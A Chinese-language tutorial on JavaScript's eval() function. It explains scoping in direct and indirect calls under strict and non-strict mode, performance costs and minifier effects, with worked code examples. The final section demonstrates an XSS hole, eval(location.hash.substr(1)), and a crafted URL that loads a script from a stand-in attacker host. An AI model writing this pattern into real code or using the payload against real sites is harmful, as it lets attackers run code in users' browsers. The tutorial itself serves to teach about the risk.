JavaScript 的 eval() 函数详解

语法

/**
 * @param {string} expression
 * @return {undefined | any}
 */
eval(expression)

eval() 函数会将传入的字符串当做 JavaScript 代码进行执行,如果传入的字符串是表达式则返回表达式求值结果,否则返回 undefined

描述

  • 如果传入 eval() 的参数不是字符串,则会直接返回该参数。

  • 非严格模式下直接调用 eval() 时,里面使用 var 声明的变量和使用 function 声明的函数会修改当前词法作用域,里面使用 letconst 声明的变量不会修改当前词法作用域,但是会在当前创建新的词法作用域。

  • 非严格模式下间接引用 eval() 时,会直接运行在全局环境中,里面使用 var 声明的变量和使用 function 声明的函数会修改全局词法作用域,里面使用 letconst 声明的变量不会修改全局词法作用域,但是会在全局环境创建新的词法作用域。

  • 严格模式下直接调用的 eval() 时,会在当前创建一个新的独立的词法作用域。

  • 严格模式下间接引用的 eval() 时(只有在 eval() 内的字符串里面开启严格模式时,字符串才会以严格模式执行),会在全局环境创建一个新的独立的词法作用域。

  • 使用 window.eval() 等同于间接引用 eval()

  • eval() 中执行的代码只能调用 JS 解释器(Interpreter)来解释执行,无法被即时编译器(JIT Compiler)优化, eval() 中的执行的代码可能会导致 JS 引擎在已经生成的机器代码中进行变量查找和赋值,带来性能问题。

  • eval() 使用不当可能会导致里面执行的字符串容易遭受恶意修改,带来安全问题(比如 XSS 攻击)。

  • 使用 eval() 会干扰代码压缩工具的行为。代码压缩工具一般会将局部变量名重命名为更短的变量名(如 ab 等),以便减小代码体积。当使用了 eval() 时,由于外部的局部变量可能会被 eval() 访问到,代码压缩工具便不会对可能会被 eval() 访问到的局部变量名进行压缩,会降低代码压缩率。

用法

eval() 的基本用法:

// 传入字符串形式 JS 语句
console.log(eval('const a = 0')); // undefined

// 传入字符串形式 JS 表达式
console.log(eval('1 + 1')); // 2
console.log(eval('(() => 3)()')); // 3

// 传入非字符串
console.log(eval({ a: 1 })); // {a: 1}

CodePen:JavaScript eval() 函数的基本用法

非严格模式下直接调用 eval()

/**
 * 使用 var 声明的变量和 function 声明的函数修改了当前词法作用域。
 * 在 inner 内部创建的变量 a 和函数 fnA 覆盖了外部的变量 a 和函数 fnA。
 * 变量 a 和函数 fnA 在 inner 内没有被提升。
 */
(function () {
  const a = 0;

  function fnA() {
    return 10;
  }

  (function inner() {
    console.log(a); // 0
    console.log(fnA()); // 10
    eval('var a = 1; function fnA () { return 11; };');
    console.log(a); // 1
    console.log(fnA()); // 11
  }());
}());

/**
 * 使用 const 和 let 声明的变量没有修改当前词法作用域,在当前创建了新的词法作用域。
 * 在 eval() 外部无法访问变量 a 和 b。
 */
(function () {
  eval('const a = 2; let b = 3;');
  // console.log(a); // ReferenceError
  // console.log(b); // ReferenceError
}());

/**
 * 没有作用域隔离的话,var 和 const/let 会冲突报语法错误
 */
(function () {
  const a = 0;
  // eval('var a = 1'); // SyntaxError
}());

/**
 * var 没有块作用域,一样会因为 var 和 const 冲突报语法错误
 */
(function () {
  const a = 0;
  {
    // eval('var a = 1'); // SyntaxError
  }
}());

CodePen: JavaScript 非严格模式下直接调用 eval() 函数

非严格模式下间接引用 eval()

/**
 * eval() 内的代码在全局环境中执行,
 * 使用 var 声明的变量和 function 声明的函数修改了全局词法作用域。
 */
var g = 0;

(function () {
  const g = 1, ev = eval;

  function fnG() {
    return 10;
  }

  ev('console.log(g)'); // 0
  ev('var g = 2; function fnG () { return 11; };');

  console.log(g); // 1
  console.log(fnG()); // 10
}());

console.log(g); // 2
console.log(fnG()); // 11

/**
 * 变量 h 和函数 fnH 在全局环境内没有被提升。
 * 使用 const 和 let 声明的变量没有修改全局词法作用域,在全局环境创建了新的词法作用域。
 * 在 eval() 外部无法访问变量 i 和 j。
 */
var ev2 = eval;

// console.log(h); // ReferenceError
// console.log(fnH()); // ReferenceError

ev2('var h = 2; function fnH () { return 11; };')
ev2('const i = 1; let j = 2;');

// console.log(i); // ReferenceError
// console.log(j); // ReferenceError

CodePen: JavaScript 非严格模式下间接引用 eval() 函数

严格模式下直接调用 eval()

/**
 * 直接调用时,在 eval() 当前词法作用域开启严格模式时,eval() 内的字符串就会以严格模式执行。
 * 变量声明和函数声明没有修改当前词法作用域,在当前创建新的词法作用域
 */
(function () {
  const a = 0;

  function fnA() {
    return 10;
  }

  (function inner() {
    'use strict';
    console.log(a); // 0
    console.log(fnA()); // 10
    eval('var a = 1; function fnA () { return 11; };');
    console.log(a); // 0
    console.log(fnA()); // 10
  }());
}());

CodePen: JavaScript 严格模式下直接调用 eval() 函数

严格模式下间接引用 eval()

/**
 * 间接引用时,只有在 eval() 内的字符串里面开启严格模式时,字符串才会以严格模式执行。
 * 变量声明和函数声明没有修改全局词法作用域,在全局环境创建了新的词法作用域
 */
var m = 0;

(function () {
  const m = 1, ev = eval;

  function fnM() {
    return 10;
  }

  ev('\'use strict\'; console.log(m)'); // 0
  ev('\'use strict\'; var m = 2; function fnM () { return 11; };');

  console.log(m); // 1
  console.log(fnM()); // 10
}());

console.log(m); // 0
// console.log(fnM()); // ReferenceError

CodePen: JavaScript 严格模式下间接引用 eval() 函数

使用 window.eval()

/**
 * 非严格模式下使用
 */
var x = 0;

(function () {
  const x = 1;

  function fnX() {
    return 10;
  }

  window.eval('console.log(x)'); // 0
  window.eval('var x = 2; function fnX () { return 11; };');

  console.log(x); // 1
  console.log(fnX()); // 10
}());

console.log(x); // 2
console.log(fnX()); // 11

/**
 * 严格模式下使用
 */
var y = 0;

(function () {
  const y = 1;

  function fnY() {
    return 10;
  }

  window.eval('\'use strict\'; console.log(y)'); // 0
  window.eval('\'use strict\'; var y = 2; function fnY () { return 11; };');

  console.log(y); // 1
  console.log(fnY()); // 10
}());

console.log(y); // 0
// console.log(fnY()); // ReferenceError

CodePen: JavaScript 使用 window.eval() 函数

使用 eval() 不当引发 XSS 攻击:

/**
 * 包含下面使用 eval() 不当的代码的网页地址为 'http://abc.com',
 * 攻击者恶意代码文件地址为 'http://xxx.com/xss.js',
 * 包含攻击代码的 URL 为 'http://abc.com#document.write("<script/src=//http://xxx.com/xss.js></script>")',
 * 当用户访问了包含攻击代码的 URL 时,会在用户浏览器执行包含恶意代码的 'http://xxx.com/xss.js' 文件。
 */
eval(location.hash.substr(1));

参考文献

Last updated